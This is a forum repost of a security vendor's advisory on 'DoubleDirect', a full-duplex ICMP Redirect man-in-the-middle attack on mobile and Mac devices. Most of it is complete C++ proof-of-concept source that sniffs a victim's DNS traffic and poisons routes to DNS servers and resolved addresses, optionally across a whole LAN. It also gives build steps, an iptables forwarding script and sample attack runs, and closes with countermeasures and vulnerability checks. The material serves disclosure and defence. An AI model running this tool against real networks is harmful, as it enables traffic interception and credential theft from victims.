Jump to content
monstr

DoubleDirect Icmp Redirect (Mitm)

Recommended Posts

Zimperium Mobile Security Labs have investigated during the last year a new type of attack technique in the wild being exploited by attackers. Aptly named “DoubleDirect,” this attack technique is a type of “Man-in-the-Middle” attack (MITM) enabling an attacker to redirect a victim’s traffic to the attacker’s device. Once redirected, the attacker can steal credentials and deliver malicious payloads to the victim’s mobile device that can not only quickly infect the device, but also spread throughout a corporate network.

We have identified that the traffic of the following services were redirected during the attacks on victim’s devices:

Google, Facebook, Twitter, Hotmail, Live.com, Naver.com (Korean) and others. Since the attack is happening on the IPs that the user access – it does not necessarily mean that the attacker had visibility to encrypted traffic that some of the above services are enforcing. We identified attacks across 31 countries, outlined below:

Serbia Australia Iraq Kazakhstan Poland Indonesia Israel Latvia Finland Mexico Egypt United Kingdom Austria Colombia Greece Brazil Canada France Algeria Russian Federation Switzerland Italy Germany Spain Saudi Arabia Netherlands India Malta Bahrain United States China

The growth of mobile devices has led to a significant rise in network attacks on wireless networks. An “ICMP Redirect” attack is one example of a known MITM network attack, often used as an alternative to an ARP poisoning attack technique.

Current implementations of ICMP Redirect with publically available tools like ettercap include half-duplex MITM – meaning that one side is poisoned using an ICMP Redirect (victim) and the router is poisoned using an old-school ARP Spoofing. With such an implementation – networks that are immune to ARP spoofing will be able to stop the attack.

From Ettercap Manual Reference Pages[1]: “It sends a spoofed icmp redirect message to the hosts in the lan pretending to be a better route for internet. All connections to internet will be redirected to the attacker which, in turn, will forward them to the real gateway. The resulting attack is a HALF-DUPLEX mitm. Only the client is redirected, since the gateway will not accept redirect messages for a directly connected network.”

threat-map-1024x405.jpg

So how does DoubleDirect work?

DoubleDirect uses ICMP Redirect packets (type 5) to modify routing tables of a host. This is legitimately used by routers to notify the hosts on the network that a better route is available for a particular destination[2]. However, an attacker can also use ICMP Redirect packets to alter the routing tables on the victim host, causing the traffic to flow via an arbitrary network path for a particular IP. As a result, the attacker can launch a MITM attack, redirecting the victim’s traffic to his device. Once redirected, the attacker can compromise the mobile device by chaining the attack with additional Client Side vulnerability (e.g: browser vulnerability), and in turn, provide an attacker with access to the corporate network.

With the detection of DoubleDirect in the wild we understood that the attackers are using previously unknown implementation to achieve full-duplex MITMs using ICMP Redirect. Traditional ICMP Redirect attacks has limitations and known to be half-duplex MITM. Zimperium Mobile Security Labs researched the threats and determined that the attackers are able to predict the IPs being accessed by the victim. We have investigated the attacks and also created a POC tool to prove that it is possible to perform full-duplex ICMP Redirect attacks. ICMP Redirect attacks are not easy to emulate because the attacker must know beforehand which IP address the victim has accessed. (There isn’t a systematic way to forward all the traffic from the victim through the attacker.)

How the attackers knew which IP addresses the victim has already accessed?

To answer that question we should analyze the first thing a victim’s device does when we enter a URL into the browser. For example, when we type www.zimperium.com into any browser, the application sends a DNS request to find out the IP address of the www.zimperium.com host.

As a first step, we can use ICMP Redirect packets to forward all the DNS traffic from the victim’s device to our machine. Most of the time we can predict which DNS server the victim is using. If it is in the same LAN, the DNS server is likely to be the same as ours obtained through DHCP. Some mobile devices uses some DNS servers by default (8.8.8.8 and / or 8.8.4.4). Once we have all the DNS traffic redirected and forwarded transparently through our device, we can send an ICMP redirect packet to every IP address we found on the sniffed DNS replies.

The attackers are not only sniffing all the DNS traffic of the victim, but everything that is resolved through it.

Finally, we present a simple and effective tool to perform audit for DoubleDirect:

/*
* DoubleDirect - Full-Duplex ICMP Redirect Auditing Tool - doubledirect_poc.cpp
* Zimperium assumes no responsibility for any damage caused by using this software.
* Permitted for educational or auditing purposes only.
* Use at your own risk
*
* Author: larry
*/

#include <iostream>
#include <fstream>
#include <string>
#include <map>
#include <vector>
#include <getopt.h>
#include <pthread.h>
#include <crafter.h>

static void printUsage(const std::string& progname) {
std::cout << "[#] Usage: " << progname << " [options] " << std::endl;
std::cout << "[#] Options: " << std::endl;
std::cout << " -i, --interface Interface" << std::endl;
std::cout << " -g, --new-gateway New gateway for the poisoned destination" << std::endl;
std::cout << " -s, --source Source IP address of the ICMP message" << std::endl;
std::cout << " -v, --victim Victim IP address" << std::endl;
}

// Local interface info
typedef struct {
// Broadcast
struct in_addr bcast;
// Network Mask
struct in_addr nmask;
} ifcfg_t;

// Grabs local network interface information and stores in a ifcfg_t
// defined in network.h, returns 0 on success -1 on failure
int get_local_info(const std::string& interface, ifcfg_t *ifcfg) {
int rsock = socket(PF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;

memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, interface.c_str(), IF_NAMESIZE);
if((ioctl(rsock, SIOCGIFBRDADDR, &ifr)) == -1){
perror("ioctl():");
return -1;
}
memcpy(&ifcfg->bcast, &(*(struct sockaddr_in *)&ifr.ifr_broadaddr).sin_addr, 4);

memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, interface.c_str(), IF_NAMESIZE);
if((ioctl(rsock, SIOCGIFNETMASK, &ifr)) == -1){
perror("ioctl():");
return -1;
}
memcpy(&ifcfg->nmask.s_addr, &(*(struct sockaddr_in *)&ifr.ifr_netmask).sin_addr, 4);

close(rsock);
return 0;
}

std::string get_string_ip(in_addr nip) {
char str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &(nip.s_addr), str, INET_ADDRSTRLEN);
return std::string(str);
}

std::string get_string_ip(in_addr_t nip) {
char str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &nip, str, INET_ADDRSTRLEN);
return std::string(str);
}

// Discover hosts on the local LAN
std::map<std::string, std::string> arp_ping_discover(const std::vector<std::string>& hosts, const std::string& iface) {
/* Get the IP address associated to the interface */
std::string MyIP = Crafter::GetMyIP(iface);
/* Get the MAC Address associated to the interface */
std::string MyMAC = Crafter::GetMyMAC(iface);

/* --------- Common data to all headers --------- */

Crafter::Ethernet ether_header;

ether_header.SetSourceMAC(MyMAC);
ether_header.SetDestinationMAC("ff:ff:ff:ff:ff:ff");

Crafter::ARP arp_header;

arp_header.SetOperation(Crafter::ARP::Request);
arp_header.SetSenderIP(MyIP);
arp_header.SetSenderMAC(MyMAC);

/* ---------------------------------------------- */

/* Create a container of packet pointers to hold all the ARP requests */
std::vector<Crafter::Packet*> request_packets;

/* Iterate to access each string that defines an IP address */
for(size_t i = 0 ; i < hosts.size() ; ++i) {

arp_header.SetTargetIP(hosts[i]);

/* Create a packet on the heap */
Crafter::Packet* packet = new Crafter::Packet;

/* Push the layers */
packet->PushLayer(ether_header);
packet->PushLayer(arp_header);

/* Finally, push the packet into the container */
request_packets.push_back(packet);
}

std::vector<Crafter::Packet*> replies_packets(request_packets.size());

SendRecv(request_packets.begin(), request_packets.end(), replies_packets.begin(), iface, 0.1, 4, 48);

std::vector<Crafter::Packet*>::iterator it_pck;
int counter = 0;
std::map<std::string, std::string> pair_addr;
for(it_pck = replies_packets.begin() ; it_pck < replies_packets.end() ; it_pck++) {
Crafter::Packet* reply_packet = (*it_pck);
/* Check if the pointer is not NULL */
if(reply_packet) {
/* Get the ARP layer of the replied packet */
Crafter::ARP* arp_layer = reply_packet->GetLayer<Crafter::ARP>();
/* Print the Source IP */
std::cout << "[@] Host " << arp_layer->GetSenderIP() << " is up with "
"MAC address " << arp_layer->GetSenderMAC() << std::endl;
pair_addr.insert(std::make_pair(arp_layer->GetSenderIP(), arp_layer->GetSenderMAC()));
counter++;
}

}

std::cout << "[@] " << counter << " hosts up. " << std::endl;

/* Delete the container with the ARP requests */
for(it_pck = request_packets.begin() ; it_pck < request_packets.end() ; it_pck++)
delete (*it_pck);

/* Delete the container with the responses */
for(it_pck = replies_packets.begin() ; it_pck < replies_packets.end() ; it_pck++)
delete (*it_pck);
return pair_addr;
}


// Get gateway MAC
static std::string getGatewayMac(const std::string& iface) {
// Set default values
std::string gw_ip("0.0.0.0"), gw_mac("00:00:00:00:00:00");
char a[16];
char buf[1024];
uint32_t b, c, r;
FILE *route_fd = fopen("/proc/net/route", "r");
if (route_fd == NULL) return gw_mac;

fseek(route_fd, 0, 0);
while (fgets(buf, sizeof(buf), route_fd)) {
r = sscanf(buf, "%s %x %x", a, &b, &c);
if ((r == 3) && (strcmp(a, iface.c_str()) == 0) && (b == 0)) {
struct in_addr in;
in.s_addr = c;
gw_ip = std::string(inet_ntoa(in));
break;
}
}

fclose(route_fd);

std::string ip_addr_arp;
std::string hw_addr_arp;
std::string device_arp;
std::string dummy;

std::ifstream arp_table ("/proc/net/arp");
std::string line;
std::getline (arp_table,line);

typedef std::vector<std::pair<std::string, std::string> > addr_pair_cont;
addr_pair_cont addr_pairs;

if (arp_table.is_open()) {
while ( arp_table.good() ) {
arp_table >> ip_addr_arp;
arp_table >> dummy;
arp_table >> dummy;
arp_table >> hw_addr_arp;
arp_table >> dummy;
arp_table >> device_arp;
// Check if this entry is the gateway
if(ip_addr_arp == gw_ip) {
gw_mac = hw_addr_arp;
break;
}
}
}

arp_table.close();

return gw_mac;
}

// Get gateway IP
static std::string getGatewayIp(const std::string& iface) {
std::string gw_addr("");
char a[16];
char buf[1024];
uint32_t b, c, r;
FILE *route_fd = fopen("/proc/net/route", "r");
if (route_fd == NULL) return "";

fseek(route_fd, 0, 0);
while (fgets(buf, sizeof(buf), route_fd)) {
r = sscanf(buf, "%s %x %x", a, &b, &c);
if ((r == 3) && (strcmp(a, iface.c_str()) == 0) && (b == 0)) {
struct in_addr in;
in.s_addr = c;
gw_addr = std::string(inet_ntoa(in));
break;
}
}

fclose(route_fd);

return gw_addr;
}

// Structure to hold parameters of the ICMP redirect attack
struct IcmpRedirParameters {
// Interface
std::string _interface;
// Victim IP address
std::string _victim;
// Destination we want to poison
std::string _destination;
// Net gateway
std::string _new_gateway;
// Source of the ICMP redirect message
std::string _source_ip;
};

// Attack finished
bool finish = false;

// Global Sniffer pointer
std::vector<Crafter::Sniffer*> sniffers;

// List of poisoned entries (one for each destination)
std::map<std::string, IcmpRedirParameters*> poisoned_entries;
pthread_mutex_t entries_mutex;

// Function for handling a CTRL-C
void ctrl_c(int dummy) {
// Signal finish of the attack
finish = true;
// Cancel the sniffing thread
for(size_t i = 0 ; i < sniffers.size() ; ++i) {
sniffers[i]->Cancel();
}
}

Crafter::Packet* createIcmpPacket(const IcmpRedirParameters* parameters) {
// Create an IP header
Crafter::IP ip_header;
ip_header.SetSourceIP(parameters->_source_ip);
ip_header.SetDestinationIP(parameters->_victim);

// Create an ICMP header
Crafter::ICMP icmp_header;
// ICMP redirect message
icmp_header.SetType(Crafter::ICMP::EchoRedirect);
// Code for redirect to host
icmp_header.SetCode(1);
// Set gateway (put attacker's IP here)
icmp_header.SetGateway(parameters->_new_gateway);

// Original packet, this should contain the address we want to poison
Crafter::IP orig_ip_header;
orig_ip_header.SetSourceIP(parameters->_victim);
orig_ip_header.SetDestinationIP(parameters->_destination);

// Create an UDP header. This could be any protocol (ICMP, UDP, TCP, etc)
Crafter::UDP orig_udp_header;
orig_udp_header.SetDstPort(53);
orig_udp_header.SetSrcPort(Crafter::RNG16());

// Craft the packet and sent it every 3 seconds
Crafter::Packet* redir_packet = new Crafter::Packet(ip_header / icmp_header / orig_ip_header / orig_udp_header);

// Return created packet
return redir_packet;
}

// Function to send a couple of ICMP redirect messages
void* icmpRedirectAttack(void* arg) {
// Get attack parameters
const IcmpRedirParameters* parameters = reinterpret_cast<const IcmpRedirParameters*>(arg);

// Create packet
Crafter::Packet* redir_packet = createIcmpPacket(parameters);

// Send 3 packets
for(int i = 0 ; i < 3 ; ++i) {
redir_packet->Send();
sleep(3);
}

return 0;
}

void startIcmpRedirectAttack(IcmpRedirParameters& parameters) {
pthread_t tid;
pthread_create(&tid, 0, icmpRedirectAttack, reinterpret_cast<void*>(&parameters));
pthread_detach(tid);
}

void startIcmpRedirectAttack(IcmpRedirParameters& parameters, const std::string& destination) {
IcmpRedirParameters* new_parameters = new IcmpRedirParameters(parameters);
new_parameters->_destination = destination;

// Save it in global list of poisoned entries
pthread_mutex_lock(&entries_mutex);
poisoned_entries.insert(std::make_pair(new_parameters->_victim + ":" + new_parameters->_destination, new_parameters));
pthread_mutex_unlock(&entries_mutex);

// Start attack
startIcmpRedirectAttack(*new_parameters);
}

void DnsWatcher(Crafter::Packet* sniff_packet, void* user) {
IcmpRedirParameters* parameters = reinterpret_cast<IcmpRedirParameters*>(user);

/* Get the Ethernet Layer */
Crafter::Ethernet* ether_layer = GetEthernet(*sniff_packet);

/* Get the IP layer */
Crafter::IP* ip_layer = GetIP(*sniff_packet);

/* Get the UDP layer */
Crafter::UDP* udp_layer = GetUDP(*sniff_packet);

/* Checks if the source MAC is not mine */
if(ether_layer->GetSourceMAC() != getGatewayMac(parameters->_interface)) {

// Checks if the packet is coming from the server
if(ip_layer->GetSourceIP() == parameters->_victim) {
// Get the RawLayer
Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet);

// Create a DNS header
Crafter::DNS dns_req;
// And decode it from a raw layer
dns_req.FromRaw(*raw_layer);

// Check if the DNS packet is a query and there is a question on it.
if( (dns_req.GetQRFlag() == 0) && (dns_req.Queries.size() > 0) ) {
// Get the host name to be resolved
std::string hostname = dns_req.Queries[0].GetName();
// Print information
std::cout << "[@] Query detected -> Host Name = " << hostname << std::endl;
}

// ...or coming from the server (better)
} else if (ip_layer->GetDestinationIP() == parameters->_victim) {

// Get the RawLayer
Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet);

// Create a DNS header
Crafter::DNS dns_res;
// And decode it from a raw layer
dns_res.FromRaw(*raw_layer);

// Check if we have responses on the DNS packet.
if(dns_res.Answers.size() > 0) {
for(size_t i = 0 ; i < dns_res.Answers.size() ; ++i) {
if(dns_res.Answers[i].GetType() == Crafter::DNS::TypeA) {
// Get the host name to be resolved
std::string ip = dns_res.Answers[i].GetRData();
// Print information
std::cout << "[@] Response detected -> IP address = " << ip << std::endl;
// Poison this address
startIcmpRedirectAttack(*parameters, ip);
}
}
}
}
}
}

// Function to poison a fixed list of DNS servers
void* poisonDnsServers(void* user) {
IcmpRedirParameters* redirect_parameters = reinterpret_cast<IcmpRedirParameters*>(user);

while(not finish) {
// HardCode DNS servers we want to redirect to our machine
startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway
startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE
startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE
startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS
startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS
sleep(10);
}

return 0;
}

int main(int argc, char* argv[]) {
// Print header
std::cout << "[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****" << std::endl;

// Program name
std::string progname(argv[0]);
// Check arguments
if(argc < 2) {
printUsage(progname);
return 1;
}

signal(SIGINT, ctrl_c);
signal(SIGTERM, ctrl_c);

// Parameters
std::string interface, victim_ip, new_gateway, source_ip;
// Victim's IPs
std::vector<std::string> victims;

int c;
// Define options
static struct option long_options[] = {
{"interface", 1, 0, 'i'},
{"new-gateway", 1, 0, 'g'},
{"victim", 1, 0, 'v'},
{"source", 1, 0, 's'},
{NULL, 0, 0, 0}
};

int option_index = 0;
while ((c = getopt_long(argc, argv, "i:v:g:s:",long_options, &option_index)) != -1) {
switch (c) {
case 'i':
interface = std::string(optarg);
break;
case 'v':
victim_ip = std::string(optarg);
break;
case 'g':
new_gateway = std::string(optarg);
break;
case 's':
source_ip = std::string(optarg);
break;
case '?':
printUsage(progname);
return 1;
break;
default:
printUsage(progname);
return 1;
}
}

if(interface.size() == 0) {
std::cout << "[#] Error: Missing interface " << std::endl;
printUsage(progname);
return 1;
}

if(victim_ip.size() == 0) {
std::cout << "[#] Missing victim IP address. Poisoning the entire network" << std::endl;

// Total hosts
std::vector<std::string> total_hosts;

// Get local information of the interface
ifcfg_t local_info;
get_local_info(interface, &local_info);

// Get first IP address
in_addr_t first_ip = local_info.nmask.s_addr & local_info.bcast.s_addr;
in_addr_t delta_net = ~ntohl(local_info.nmask.s_addr);

// Create list of ignored IPs addresses
std::set<std::string> ignored_ips;
ignored_ips.insert(getGatewayIp(interface));
ignored_ips.insert(Crafter::GetMyIP(interface));
ignored_ips.insert(get_string_ip(first_ip));

// Loop over IPs addresses on the network
for(size_t i = 0 ; i < delta_net ; ++i) {
// Get destination IP address
in_addr_t nip = ntohl(ntohl(first_ip) + i);
std::string ip = get_string_ip(nip);

// Only attack IPs which are not on the ignore list
if(ignored_ips.find(ip) == ignored_ips.end()) {
total_hosts.push_back(ip);
}
}

// Get hosts UP
std::map<std::string,std::string> host_up = arp_ping_discover(total_hosts, interface);

// Set as targets only alive hosts
for(std::map<std::string,std::string>::const_iterator it = host_up.begin() ; it != host_up.end() ; ++it) {
victims.push_back((*it).first);
}
} else {
// Push only one victim
victims.push_back(victim_ip);

// Print attack's parameters
std::cout << "[#] Attack parameters : " << std::endl;
std::cout << " [+] Interface : " << interface << std::endl;
std::cout << " [+] Victim IP address : " << victim_ip << std::endl;
}

// Try to get the IP of the gateway
std::string gw_ip = getGatewayIp(interface);
// By default the source IP address of the message is the current gateway
if(source_ip.length() == 0) source_ip = gw_ip;

if(gw_ip.size() == 0) {
std::cout << "[#] Error: Interface " << interface << " don't have an associated gateway" << std::endl;
return 1;
}

// Get MAC address of the gateway
std::string gw_mac = getGatewayMac(interface);

std::cout << "[#] Gateway parameters : " << std::endl;
std::cout << " [+] Gateway IP address : " << gw_ip << std::endl;
std::cout << " [+] Gateway MAC address : " << gw_mac << std::endl;

std::string my_ip = Crafter::GetMyIP(interface);
// By default set attacker's IP as the new gateway
if(new_gateway.length() == 0) new_gateway = my_ip;

std::cout << "[#] My parameters : " << std::endl;
std::cout << " [+] My IP address : " << my_ip << std::endl;

for(size_t i = 0 ; i < victims.size() ; ++i) {
// Get victim IP
std::string victim = victims[i];

// Setup attacks parameters
IcmpRedirParameters* redirect_parameters = new IcmpRedirParameters;

// Interface
redirect_parameters->_interface = interface;
// Victim IP address
redirect_parameters->_victim = victim;
// Net gateway
redirect_parameters->_new_gateway = new_gateway;
// Source of the ICMP redirect message
redirect_parameters->_source_ip = source_ip;

pthread_mutex_init(&entries_mutex, 0);

pthread_t dns_poison_id;
pthread_create(&dns_poison_id, 0, poisonDnsServers, reinterpret_cast<void*>(redirect_parameters));
pthread_detach(dns_poison_id);

// Create a sniffer
Crafter::Sniffer* sniff = new Crafter::Sniffer("udp and host " + victim + " and port 53", interface, DnsWatcher);

// Now start the main sniffer loop
void* sniffer_arg = static_cast<void*>(redirect_parameters);
sniff->Spawn(-1, sniffer_arg);

// Save sniffer reference
sniffers.push_back(sniff);
}

// Wait
while(not finish) sleep(1);

std::cout << "[#] Finishing ICMP redirect attack..." << std::endl;
std::cout << "[#] Fixing route table on victim's machine. Number of poisoned entries = " << poisoned_entries.size() << std::endl;

// Threads
std::vector<Crafter::Packet*> fix_packets;
// Protect entries
pthread_mutex_lock(&entries_mutex);

// Loop over all entries
for(std::map<std::string, IcmpRedirParameters*>::const_iterator it = poisoned_entries.begin() ;
it != poisoned_entries.end() ; ++it) {
// Get parameters
IcmpRedirParameters* parameters = it->second;
std::cout << " [+] Fixing table for destination : " << it->first << std::endl;
parameters->_source_ip = parameters->_new_gateway;
parameters->_new_gateway = getGatewayIp(parameters->_interface);

// Push packet
fix_packets.push_back(createIcmpPacket(parameters));
}

// Send all the packets, 3 times
for(int i = 0 ; i < 3 ; ++i) {
Crafter::Send(fix_packets.begin(), fix_packets.end(), interface, 16);
sleep(3);
}

pthread_mutex_unlock(&entries_mutex);
pthread_mutex_destroy(&entries_mutex);

std::cout << "[#] Finishing fixing route table on victim's machine" << std::endl;

return 0;
}


To compile and run the code in this post you will need libcrafter (https://code.google.com/p/libcrafter/) installed in your system. Libcrafter in an open source multi-platform library written in C++ and released under the new BSD license. Libcrafter provides a high level interface to craft, decode and sniff network packets which makes it easy to create networking utilities without dealing with low level details. To compile it in your GNU/linux or MAC OS X system, execute the following commands:

$ git clone https://github.com/pellegre/libcrafter

$ cd libcrafter/libcrafter

$ ./autogen.sh

$ make

$ sudo make install

$ sudo ldconfig

Note that you need libpcap installed in your system before configuring libcrafter (apt-get install libpcap-dev)

DoubleDirect: Full-Duplex ICMP Redirect Attack

– Scenario

Gateway = 192.168.1.1

Attacker (Ubuntu) = 192.168.1.105

Victim (Galaxy S4) = 192.168.1.101

– Victim’s machine

First we need to check if the device accepts redirects. In my case (galaxy S4) accept redirects bit was enabled by default:

# cat /proc/sys/net/ipv4/conf/all/accept_redirects

1

In case that ICMP Redirect is not enabled and you want to test this attack, you should execute:

# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

– Attacker’s machine

Finally, on the attacker’s machine we need to tell the kernel a few things so the attack works correctly. The following commands should be executed on the attacker’s machine (as root):

To forward IP packets

# echo 1 > /proc/sys/net/ipv4/ip_forward

Don’t send redirects. This is very important, we need to tell the attacker’s kernel not to send redirects :

# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect

– Attacking the device

Compile doubledirect_poc.cpp:

$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter

$ ./doubledirect_poc

[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****

[#] Usage: ./doubledirect_poc [options]

[#] Options:

-i, --interface Interface

-v, --victim Victim IP address

-d, --destination Destination address to poison

Instead of poisoning a LAN ARP entry we poison a remote IP address when accessed by the victim. In doing so we trick the victim to send IP packets intended to a particular destination through our device instead of the real gateway.

When the device sends an IP packet with a destination 8.8.8.8 it should use the gateway (192.168.1.1).

Now let’s poison that entry. On the attacker machine execute:

$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8

[#] Attack parameters :

[+] Interface : wlan0

[+] Victim IP address : 192.168.1.101

[+] Destination to poison : 8.8.8.8

[#] Gateway parameters :

[+] Gateway IP address : 192.168.1.1

[+] Gateway MAC address : *:*:*:*:AE:51

[#] My parameters :

[+] My IP address : 192.168.1.105

We can see how the entry for 8.8.8.8 is poisoned with our IP address (192.168.1.105). When a packet with a destination to 8.8.8.8 is sent from the victim, it will use our computer as a gateway for that packet. This will allow us to sniff all the traffic from that destination (a classic man in the middle attack).

Once we have all the DNS traffic forwarded transparently through our computer, we can send an ICMP Redirect packet to every IP address we found on the sniffed DNS replies. We are not only sniffing all the DNS traffic of the victim, but everything that is resolved through it.

To test if you are vulnerable to DoubleDirect first execute the following lines of bash code to set up iptables and IP forwarding properly:

# cat iptables_dobule_direct.sh

#!/bin/sh

if [ $# -lt 1 ]; then

echo "[@] Usage: `basename ${0}` "

echo "[@] Example: `basename ${0}` wlan0"

exit 0

fi

INTERFACE=${1}

echo 1 > /proc/sys/net/ipv4/ip_forward

echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects

iptables --flush

iptables --zero

iptables --delete-chain

iptables -F -t nat

iptables --append FORWARD --in-interface $INTERFACE --jump ACCEPT

iptables --table nat --append POSTROUTING --out-interface $INTERFACE --jump MASQUERADE

# ./iptables_double_direct.sh wlan0

Finally, execute the Zimperium DoubleDirect Audit tool:

# ./doubledirect_poc -i wlan0 -v 192.168.1.101

[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****

[#] Attack parameters :

[+] Interface : wlan0

[+] Victim IP address : 192.168.1.101

[#] Gateway parameters :

[+] Gateway IP address : 192.168.2.1

[+] Gateway MAC address : 00:1f:*:*:*:*

[#] My parameters :

[+] My IP address : 192.168.2.103

The DNS servers are hard coded inside the code (line 397, doubledirect_poc.cpp file). You can add any host for the initial ICMP redirect packets there:

// Hardcoded DNS servers we want to redirect to our machine

startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway

startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE

startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE

startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS

startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS

Countermeasures

iOS, Android and Mac OS X usually accepts ICMP redirect packets by default.

To test if your OS X is vulnerable to DoubleDirect run the following command :

sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"

To disable ICMP Redirect on Mac (as root):

# sysctl -w net.inet.ip.redirect=0

On the mobile side, most Android devices (galaxy series) with the accept_redirect field enabled by default

To disable you need to root your device and execute:

# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects

Who is at risk?

– iOS: The attack works on latest versions of iOS including iOS 8.1.1

– Android: On most Android devices that we have tested – including Nexus 5 + Lollipop

– Mac: Mac OS X Yosemite is vulnerable.

Most of GNU/Linux and Windows desktop operating system do not accept ICMP redirect packets.

Source

Edited by monstr
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...